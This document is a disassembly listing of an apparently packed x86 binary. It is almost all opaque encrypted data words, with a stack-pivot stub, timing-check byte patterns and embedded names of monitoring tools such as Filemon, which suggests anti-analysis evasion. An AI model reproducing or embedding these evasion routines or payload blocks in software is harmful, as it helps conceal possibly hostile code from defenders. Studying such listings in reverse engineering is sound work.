		dd 90857696h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 9E987C27h, 0A0720DF7h, 0DFFE8EFFh, 0E4C87D7Dh, 0CF720DF1h
		dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 4CFE0CEFh, 96FEBD7Dh
		dd 2F7A452Bh, 28AFD7Ah,	0CC85768Bh, 6E0148F7h, 0C6F8FA8Ah
		dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 9085768Bh
		dd 400148F7h, 0D1F8FA8Ah, 228A50FCh, 87BC1F23h,	4CFE8EF7h
		dd 52DA07Dh, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah,	708A5779h
		dd 0F5857697h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h,	0D0DE9B59h
		dd 67FE10EFh, 8DE9B7Dh,	0E5779592h, 0F3360B7Ah,	866E8872h
		dd 4CFE10EFh, 54C54D7Dh, 0BA8AAD79h, 90857697h,	2BF69B20h
		dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h,	652FFD7Ah
		dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h
		dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh,	7FA916D0h
		dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h
		dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh
		dd 79986885h, 1F2FFA8Ah, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h
		dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah
		dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
		dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch,	0EE75FD7Bh
		dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h,	0FA74BE8Ch
		dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h
		dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 89FE0CEFh,	4C0707Dh
		dd 5D720DF1h, 2C7F518Ah, 7AE002D0h, 8720DF1h, 0E574E592h
		dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h,	2C7FA5CAh
		dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh
		dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h,	0CB750C92h
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 3BFE97FFh, 8FC87D7Dh, 0F3720DF1h
		dd 0FCF8EC0Fh, 0BB8576A6h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 4CFE97F7h
		dd 34C87D7Dh, 2F720DF1h, 12F8F10Fh, 0CC8576A6h,	0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 37846885h, 0C3F8FA8Ah,	28856D43h
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 28857697h, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 3BFE10EFh, 0EA917D7Dh,	42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F585768Bh, 0F2A560F7h, 0A0F8FA8Ah
		dd 4ECD3E39h, 0D075FD7Ah, 67FE0CEFh, 0CEB57E7Dh, 1A8935F1h
		dd 2FE10EFh, 8E97577Dh,	43BE15B9h, 1DFF0285h, 5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 0BF3C17FBh, 0EAFCFA8Ah, 27CF7D86h
		dd 0E5720DF1h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 0AEFE0CE8h
		dd 0ADFCBD7Dh, 9085768Fh, 79F835F1h, 0E2856C67h, 79986F85h
		dd 7FFDFA8Ah, 4801F3Ch,	5E75FD6Dh, 0A4807F79h, 1A35FA8Ah
		dd 3BE4ECE0h, 0E1B67E7Dh, 4B22FEF3h, 7975FD64h,	37807779h
		dd 0ECF8FA8Ah, 28856D85h, 2F2B5989h, 0CB75FD72h, 6E846F85h
		dd 0AF6FA8Ah, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 3BE4CD90h, 1CCF707Dh, 79720DF1h, 71CCF50Fh, 4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 67FE04E7h, 0D3497D7Dh, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 0BE1C17FBh
		dd 25F8FA8Ah, 0CC857683h, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 0D58C40F7h, 0EF46FA8Ah, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F5857683h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 6E8C40F7h,	0F3CDFA8Ah
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 1B7378F7h
		dd 0D08AFA8Ah, 0CAFECA8Bh, 0A80E72F8h, 8A4AFB7Fh, 0A80E73C7h
		dd 75EAD5ABh, 0A80E739Fh, 8A4AF865h, 57AE5DBAh,	8A4AF8D2h
		dd 0A80E708Fh, 75EAD5ABh, 0A80E7156h, 8A4AF900h, 0A80E71D0h
		dd 8A4AF982h, 0A80E764Ah, 75EAD5ABh, 0ABD42F25h, 312DAC7h
		dd 58C078C0h, 0FB90A753h, 215652D6h, 7A84F4D1h,	60D42F42h
		dd 312DAC7h, 58C040C0h,	0AA90A753h, 215652D1h, 7A84C0D1h
		dd 0DFD42F42h, 312DAC0h, 58C04CC0h
		dd 4690A753h, 215652D1h, 7A84DCD1h, 0B8D42F42h,	312DAC1h
		dd 58C058C0h, 0D390A753h, 215652D0h, 7A8728D1h,	32D42F42h
		dd 312DAC1h, 58C3A4C0h,	5190A753h, 215652D0h, 7A8720D1h
		dd 0B4D42F42h, 312DAC2h, 58C3ACC0h, 0DF90A753h,	215652D3h
		dd 7A8738D1h, 12B8C342h, 0DF152A50h, 6CD24ECEh,	8AFD4AA8h
		dd 0F251A245h, 18A8C0D5h, 0ED96A5B5h, 8A152AA8h, 0A0242945h
		dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh
		dd 3AAE63CEh, 8DFC3541h, 0AB534284h, 0FFEA2211h, 0A4245D55h
		dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h
		dd 27BFEA66h, 0BFDB2FEEh, 7512DAD9h, 2011294h, 702A0D9h
		dd 79AEA5B5h, 0AE51A1ECh, 22DC0941h, 8DE5A743h,	103773BAh
		dd 21732ADFh, 254628C8h, 5BEA2DA4h, 8C152BFDh, 988150h
		dd 0AFA12F52h, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 1968C0D5h
		dd 0DDDAA5B5h, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 891C30BAh
		dd 529E2DBDh, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 702A0D9h
		dd 79AEA5B5h, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8A15C234h
		dd 290BA245h, 7A86FEBEh, 0A0242942h, 4D1957DFh,	0A8515E00h
		dd 75532A54h, 4170EFD7h, 19CDA153h, 9BFC69CEh, 0E2A5B997h
		dd 0F9FA31EFh, 702A0D9h, 79AEA5B5h, 20949A0Dh, 8C651A23h
		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h
		dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h
		dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h,	2851A245h
		dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h
		dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh,	0ED96AE38h
		dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch
		dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h
		dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh,	85E1D4h
		dd 22DC0886h, 8DE5A743h, 0F8E173BAh, 9D9FA7FEh,	575652C8h
		dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h
		dd 75152A54h, 414EB7D7h, 20452653h, 254628C8h, 5BEA2DA4h
		dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h
		dd 0A42C294Dh, 8AE96F93h, 451A245h, 0C787D5FEh,	23564B64h
		dd 4917868Ch, 0BFDB2FEFh, 7512DAD9h, 28E9C494h,	0BE4CBDh
		dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh,	2BBD2910h
		dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h,	18EA80F8h
		dd 0AFB88308h, 58B9E2DFh, 32DC0885h, 8DE5A743h,	103771BAh
		dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 75BF8654h, 4170EFD7h, 26DDA153h, 25FB6377h, 7A983DCEh
		dd 0CE825D42h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h
		dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h,	4D1957DFh
		dd 0A8515E00h, 32732A54h, 3376B77h, 702B0D9h, 7BAEA5B5h
		dd 4B959232h, 4FD0923h,	866801FEh, 0C9ADDFCCh, 43E96FDFh
		dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h
		dd 0EC152A54h, 0CEB824FDh, 9D8FA7FFh, 575652C8h, 20A09A87h
		dd 25FB0E03h, 7A983DCEh, 0CE825D42h, 0ECD8ACECh, 0A42C89EEh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 1CB0C0D5h, 0ED96A5B5h, 8A152AA8h, 0A0242945h
		dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h
		dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h
		dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh,	8660D554h
		dd 2559D7BAh, 7A84F0CEh, 32DCF142h, 8DE5B8E5h, 0EDD871BAh
		dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 39BB38C8h,	7462DA4h
		dd 58C313DFh, 3C6D553h,	92B85E00h, 75152A54h, 0DDAEAE30h
		dd 7C8FA75Ch, 0FB5652D4h, 18A4B0D9h, 7BAEA5B5h,	63E96FDDh
		dd 0A851A258h, 75195FABh, 32DCAA30h, 8DE5B856h,	19CB2F16h
		dd 7512DAC6h, 54142B96h, 8A152ABDh, 0EDDAC345h,	82D7E3A8h
		dd 3044BA45h, 0FE90000h, 1A000000h, 2F0D5Dh, 2 dup(0)
		dd 49E90000h, 0C3000005h, 0BA54828h, 0BC1895E7h, 0E34DE09Ah
		dd 10BC31B3h, 66F67FFDh, 383CD1C1h, 8A0A1BB5h, 0D6A649EBh
		dd 1D5FFD5Fh, 0FEB3EF90h, 286C2DBEh, 4A462456h,	0AA44D6A0h
		dd 5CC4B7F7h, 0EF4B5930h, 8DF207B3h, 8979E82h, 0F9740AF9h
		dd 63C3BD5Fh, 6BBBC557h, 6DB1CB6Fh, 0FB2DCC60h,	228E2751h
		dd 56C2730Dh, 902DBFC1h, 0F371AD9Ch, 0B954E179h, 0DD4BCE2Ah
		dd 83CF63CFh, 0DD321292h, 41D612BBh, 0E21AD3Fh,	9D3F826Eh
		dd 4021FD7Fh, 305C2065h, 0E829D024h, 84318518h,	0A556h
		dd 0A04A6C00h, 0A435B0E0h, 58F771E4h, 2FB94FDDh, 15E00096h
		dd 69C175B3h, 14A4C35h,	0BF2F305Ch, 544D0517h, 0E0760CD0h
		dd 0ADAB811Ch, 68BCAAAEh, 4BF21EDAh, 3166368Eh,	1B084h
		dd 4A120000h, 4C08D4A6h, 4672D2A8h, 0D9D9C84Eh,	0C2305CC4h
		dd 7B021C0Dh, 0BB177F31h, 8F15E96Bh, 3E9B6BF9h,	0DB83731Ah
		dd 9EDE7337h, 42AE3C46h, 21BCC256h, 0D714B701h,	0F2B2E751h
		dd 0DB305C3Ah, 939F918Eh, 93117D50h, 895527CBh,	6CC865FBh
		dd 801AACCEh, 934786F5h, 0E83AE91h, 305C8E8Eh, 79FB2A86h
		dd 0A1891FA5h, 0A74AE65Ch, 19AA43D5h, 34742DF7h, 0DC305BE2h
		dd 1E5F37C6h, 790315B1h, 0C9637DB1h, 5C04D8D8h,	23A1F030h
		dd 0D7CDC1C3h, 0E19BBF1Bh, 0A7464E1Dh, 1ACC86Dh, 2BFB8597h
		dd 5F1D319Dh, 8135FD87h, 99310D6Fh, 0BA22D475h,	8F1AEA94h
		dd 8B783475h, 2D059B96h, 312A169Eh, 775084h, 4A720000h
		dd 2D4FE3A7h, 0E50B479Fh, 4C45019Bh, 92E80CC8h,	0A4F830B2h
		dd 57E07D29h, 0EA9F5837h, 0A647AB87h, 779BCF62h, 15AB3905h
		dd 8643EA83h, 0CA79C850h, 1C31636Eh, 0D8C88458h, 7B36C05Ah
		dd 305CB43Bh, 0CF63CFD5h, 0AA4D099Fh, 991B0AD2h, 8FF33F45h
		dd 0EAC32DEEh, 31238430h, 0A3000000h, 0F6A0E10Ah, 30F8E92Ah
		dd 0D5A74A92h, 0D2AA4D09h, 0DC7D9772h, 0FE770528h, 0D4A64A44h
		dd 0C53E9908h, 0FB1D305Ch, 0E03F8152h, 1BF8430h, 0B000000h
		dd 0ADAA44Ah, 72D2AC4Eh, 0A452FB1Dh, 8B671538h,	0FE77092Fh
		dd 39D2D560h, 729E4A67h, 220E9CDEh, 0E17BEC0Fh,	895A5A57h
		dd 0E8BA305Ch, 30EBA600h, 637B571h, 9E46409Ch, 4B5A027Ch
		dd 836F75C9h, 0FA7B0517h, 28C2BC5Eh, 71A3E39Eh,	376D2873h
		dd 0BCFEA7FBh, 49287371h, 0C862A647h, 879507AEh, 8FAD29F5h
		dd 3A5A11EDh, 0BEBB5193h, 3AD67F41h, 20BA48D2h,	0CDD4B895h
		dd 5098159Ah, 0AC0CF44Dh, 4C6A8C1Ah, 78000001h,	0A537A0B3h
		dd 0B599ADECh, 0AD3F6537h, 49580E21h, 0DB697BCBh, 51FB7E0Bh
		dd 0BA34E8D8h, 0DB7E9124h, 5FDDBD93h, 0D9735F93h, 90BA169Fh
		dd 0F6801EE6h, 72C5FBBBh, 0FD8F1528h, 72C60484h, 5A960C28h
		dd 42A2DC7Eh, 22E68789h, 0CB495808h, 41DB697Bh,	230F8D85h
		dd 0DF9B65DEh, 4ADB8C1Ah, 0EF000000h, 9B2DBAB3h, 0C84C4501h
		dd 5B5EFE3Dh, 0FB372765h, 5BC8AA0Ah, 0E4386AB0h, 5BC97D3Dh
		dd 0C5475FB0h, 0BDBF5D79h, 19C05461h, 0EB92B2D9h, 978E4FC0h
		dd 0C9206011h, 0B2F0B05Bh, 85FC8E1Ch, 305BC925h, 8738B5EFh
		dd 0A3h, 37A0B3DFh, 16960BA5h, 0FE305CC5h, 0C05A4CA4h
		dd 0E7880D04h, 0C1DFE89Ch, 0E89951E7h, 37B57BEDh, 4B07DFC5h
		dd 0C05ED7A1h, 0B488F204h, 44D6C22Eh, 6790150Ch, 758EA882h
		dd 0A0220290h, 454C3015h, 0DD73DAE1h, 0C6DF8701h, 0CE4FE46h
		dd 73BF607Dh, 18C1CB28h, 812C4EECh, 0DCD343EEh,	0C7C7BA03h
		dd 492872EAh, 3A37C25Bh, 661BAD43h, 306358D7h, 1AB3455Fh
		dd 5715B500h, 518D652Ah, 59A5D765h, 7F872626h, 57C042E6h
		dd 0F6422A50h, 1DAF383Bh, 7268D564h, 0AE475D28h, 0ABEBA630h
		dd 65189169h, 0B3D1F33Fh, 0ECA537A0h, 384D2C5Dh, 0EB95A72Fh
		dd 0BDA1891Bh, 99B31FE7h, 0CFB04DDFh, 99DB71B3h, 5DAE3F45h
		dd 8815DDA8h, 0DAA4B61Eh, 0B3EE780Ah, 286C92F3h, 0FAB871Dh
		dd 0D2B393EDh, 516DD32Bh, 25EF8EA2h, 6CC86517h,	6450ACCEh
		dd 2156AE2Ch, 0ED787E1Fh, 0C568795Ch, 0C0556FB7h, 62CE4444h
		dd 5BDAA4B6h, 0DD2153F9h, 86F61BC3h, 0F3CC24BEh, 0Fh, 0AD25413h
		dd 3AB99DE4h, 0DA21385Ch, 4ADEEC44h, 430FD7A1h,	5B77CFA9h
		dd 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h, 636FB735h
		dd 6753B3CDh, 5E55A9D3h, 815F5457h, 4C7h, 4EF8300h, 5C243C87h
		dd 6A0D68h, 243C8900h, 0C2568h,	24048900h, 36E9BE56h, 0BF577828h
		dd 3A134807h, 4855EF81h, 0E7C174C0h, 20EF8103h,	1DEFBB6h
		dd 0EE815FFEh, 351132F7h, 4B80C681h, 0D6F74864h, 0D194EE81h
		dd 0F78920F7h, 4EC815Eh, 89000000h, 4812424h, 424h, 81575800h
		dd 67E6242Ch, 408F4024h, 8408108h, 402467E6h, 582434FFh
		dd 4C481h, 3C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 9Bh,	30h, 39h
		dd 61247730h, 76777293h, 0F09C2AB8h, 0FFC50307h, 0A96685E0h
		dd 9D5BF32Ch, 0D0C9FB72h, 6AC68C15h, 11A0FD00h,	8C88984Eh
		dd 87535250h, 24648B35h, 376B9132h, 5AF7BB09h, 4AF77D76h
		dd 13FB6B12h, 17049E12h, 831D4E34h, 0F6492A58h,	5473025h
		dd 0DB579E79h, 0B9366527h, 50FFB720h, 0C6D52B4Dh, 19B96352h
		dd 10B8962h, 0E164504Ch, 548D8D6Ah, 6A07F09Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 4FD7C352h, 0A56DDB35h, 604DB0EDh, 2451BD89h,	0CE8B07E9h
		dd 0D8D8961h, 6A07E932h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F0D0C350h,	8A406011h
		dd 7D8D897Dh, 0C707E90Eh, 0E922E585h, 64D807h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 2ADD052Bh, 0FD8AAFEDh, 22B185C7h, 7E9h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F60973C3h, 77442952h, 29BCD408h, 0E92B7185h, 51B5FF07h
		dd 6A07E931h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0D9FDC352h, 0FE8h, 0B746C000h
		dd 2B902052h, 954E63BAh, 1949E529h, 28D0Fh, 7EB30000h
		dd 5E9605Eh, 0B0000000h, 14B7C8D6h, 8595FF61h, 6A07E922h
		dd 3195FF00h, 8B07E90Ch, 0D448EBC0h, 0B56EAFE7h, 0C5458B06h
		dd 0E4D8D781h, 1E78EE2Ah, 0BBC734EFh, 669E139Bh, 0C6AEC941h
		dd 93BCBFB4h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h, 3929B19Dh
		dd 5DF3674Fh, 470679A7h, 744FB07Fh, 8CA8019Eh, 4C069C78h
		dd 0EB3A71F7h, 6C694616h, 6E6F6D65h, 73616C63h,	73h, 0
		dd 24010100h, 0F0000007h, 0DE8B6607h, 12E890h, 0CB580000h
		dd 78AEE30Ch, 162E065Eh, 8DAF1CB0h, 0F0E81D7Dh,	310F5250h
		dd 13E9h, 0C7CE2400h, 0A3F34D25h, 184C216Eh, 652179h, 77106531h
		dd 505A585Ah, 6E9h, 8A597E00h, 90B616ACh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 41C35545h, 1EA4B554h
		dd 8B4C1263h, 0E92FC9BDh, 8A006A07h, 9CBB66EAh,	0E9006A08h
		dd 0Fh,	0B04A92E0h, 0C1C350A0h,	0E674D74Dh, 0FF641BDh
		dd 0B86h, 5800F00h, 0BB000000h,	32F29238h, 9FFD858Dh, 0BB6607F0h
		dd 85898CB6h, 7E90849h,	50DCB290h, 12E9h, 0AB23D400h, 0E89F1B7Dh
		dd 85651462h, 0C70E4A98h, 908F07E5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 49C35343h, 759D8B45h, 0E907E907h
		dd 0Eh,	187F1FDFh, 0A6513732h, 0E1D25029h, 6A20C3h, 0F1816660h
		dd 0CE9C357h, 52000000h, 14C88D90h, 0A2C39B4Bh,	61D1E415h
		dd 0B966006Ah, 95FFA7AEh, 7E90FB9h, 0A65ED181h,	0A8E9419Fh
		dd 29000005h, 0E92A5D85h, 0C59D2B07h, 0E807E91Fh, 0
		dd 2ED815Dh, 6A07F0A0h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 5E74C353h, 69C1C76Ah
		dd 8BF89381h, 0E9168995h, 0F536007h, 8Dh, 85895900h, 7E91F21h
		dd 0DF946861h, 0D78B8AD8h, 0C240481h, 89752730h, 0E9267185h
		dd 98D2907h, 0FF07E912h, 0E90C3195h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8D281957h
		dd 0F09EA3B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0A13CCE0Bh, 859AEE1Ch
		dd 0BD9D8BC7h, 8907E917h, 0E918C98Dh, 5206C707h, 6A6D6765h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 4B83C352h, 3A9CACB8h, 166DB210h, 6F0446C7h
		dd 6A6C636Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 3CA1C357h, 846C722h, 737361h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 1EC35646h
		dd 2C5003F7h, 8D8976A5h, 7E920B5h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 800A2AC3h
		dd 858DF37Fh, 7F09EA3h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0CBC35242h, 0F827CD26h, 50FB8B90h, 50605250h
		dd 5A310F52h, 61EE8A58h, 5250310Fh, 310F5B50h, 585A2DB7h
		dd 0B990585Ah, 11020D56h, 264995FFh, 880F07E9h,	2, 0C00BEC8Ah
		dd 28840Fh, 0E9FC0000h,	3A8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 59C35747h, 0F938A0C8h, 82686E32h
		dd 0B65FC386h, 2434819Dh, 5FC387AEh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 6DC35747h, 6C6BBB77h, 0D2B70F9Eh
		dd 0C3195FFh, 0B96607E9h, 0B58D7C23h, 7F09EA3h,	6880F60h
		dd 9000000h, 0E9000DB5h, 819D8907h, 6107E916h, 383106C7h
		dd 6A3634h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 689A53C3h, 0ACF4BB66h, 370446C7h,	6A31342Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 1A8BC355h, 9BED5E81h, 9D23261Dh, 7E93121h
		dd 846C7h, 51000000h, 6A5BDF8Bh, 0B5BF6600h, 0A3858DA7h
		dd 6A07F09Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 316FC356h, 0E9218D95h,	850F5007h
		dd 2, 489F88Ah,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0DA3D931Ah, 4D1D4049h
		dd 0CE9h, 89C0D300h, 0CE1A36C7h, 453465DDh, 4995FF68h
		dd 6A07E926h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 48A7C351h, 298D2E1Fh, 0E90B99B5h
		dd 0DF816607h, 0C00BF6D4h, 53840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A4EFCEC3h
		dd 0B589EA88h, 7E9298Dh, 5139BA66h, 1F7E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B192C24h, 0E91C959Dh, 27C36807h, 8C0F5897h,	0Ah, 505B5360h
		dd 5A310F52h, 34816158h, 9726EF24h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0BCEDF91Dh
		dd 5FA95B9h, 8D8B6036h,	7E9185Dh, 0A992C181h, 8B614B37h
		dd 0E923758Dh, 3195FF07h, 6007E90Ch, 499589F8h,	6107E912h
		dd 9EA3B58Dh, 6A07F0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 3C2397C3h, 24C287A4h, 2331EC82h
		dd 0E91E0D9Dh, 4606C707h, 0E9656C69h, 0Ah, 4D4C64DCh, 8B586D34h
		dd 46C7D627h, 6E6F6D04h, 53006A63h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0D38168E1h, 302E7B7Ch
		dd 1CB59D33h, 46C707E9h, 73616C08h, 15BD2973h, 0C707E920h
		dd 0C46h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 6A9F1AC3h, 0B5952B00h, 8907E91Eh
		dd 0E92025B5h, 0A3858D07h, 6A07F09Eh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 4461C350h
		dd 36BD8D6Fh, 0FB6FBA90h, 6650486Fh, 908410BBh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D3C35545h, 16AD8D29h
		dd 0BD8B07E9h, 7E92A89h, 264995FFh, 0BD0307E9h,	7E9071Dh
		dd 10E9h, 56732000h, 6D142ACAh,	835ABC38h, 5EE80BBAh, 0FC00B36h
		dd 3284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 51F274D3h, 0F241A19Bh, 0E780F95Ch
		dd 0DDF80CDh, 7E9h, 0E9D38B00h,	0FFFFFA97h, 6E15B58Dh
		dd 958907E9h, 7E924A5h,	0B8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FF8942C0h
		dd 8BCA8BE6h, 14E8C1h, 9CB30000h, 74BC1273h, 8B982CF5h
		dd 5FBDACE7h, 63E46FE5h, 0E953CC50h, 13h, 45EDF801h, 94AC70F7h
		dd 0ED1E4629h, 4B23345Bh, 5AF02E18h, 51958B5Bh,	8107E925h
		dd 7375C3h, 0F9BF6600h,	686Bh, 9E90000h, 55000000h, 0E5154D5Fh
		dd 4EB018ADh, 0BE959h, 0B7510000h, 662F2F7h, 5F99C23Ah
		dd 1934FFE1h, 0A800Fh, 820F0000h, 4, 4170B866h,	0F681F55Eh
